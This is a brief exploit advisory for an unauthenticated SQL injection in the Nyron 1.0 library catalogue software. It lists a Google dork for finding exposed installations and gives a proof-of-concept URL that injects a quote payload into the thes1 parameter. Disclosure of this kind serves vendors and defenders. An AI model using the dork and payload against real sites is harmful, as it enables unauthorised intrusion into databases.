Nyron 1.0 SQL Injection

`# Exploit Title: Nyron 1.0 - SQLi (Unauthenticated)  
# Google Dork: inurl:"winlib.aspx"  
# Date: 01/18/2021  
# Exploit Author: Miguel Santareno  
# Vendor Homepage: http://www.wecul.pt/  
# Software Link: http://www.wecul.pt/solucoes/bibliotecas/  
# Version: < 1.0  
# Tested on: windows  
  
# 1. Description  
  
Unauthenticated user can exploit SQL Injection vulnerability in thes1 parameter.  
  
  
# 2. Proof of Concept (PoC)  
  
https://vulnerable_webiste.com/Nyron/Library/Catalog/winlibsrch.aspx?skey=C8AF11631DCA40ADA6DE4C2E323B9989&pag=1&tpp=12&sort=4&cap=&pesq=5&thes1='">  
  
  
# 3. Research:  
https://miguelsantareno.github.io/edp.pdf  
`